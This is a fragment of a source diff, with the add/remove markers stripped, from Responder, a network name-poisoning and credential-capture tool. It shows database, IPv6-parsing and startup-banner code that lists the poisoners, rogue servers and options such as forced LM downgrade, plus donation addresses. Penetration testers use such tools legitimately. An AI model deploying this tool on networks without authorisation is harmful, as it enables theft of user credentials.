res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
@@ -336,14 +433,20 @@ def SaveDHCPToDb(result):
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c':
return False
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True
return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@@ -382,22 +485,18 @@ def banner():
])
print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('')
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
@@ -416,9 +515,11 @@ def StartupMessage():
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "HTTP Options:")
@@ -435,14 +536,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
@@ -454,10 +559,20 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
if len(settings.Config.DontRespondToTLD):
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
if settings.Config.TTL == None:
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
else:
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
#credits
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")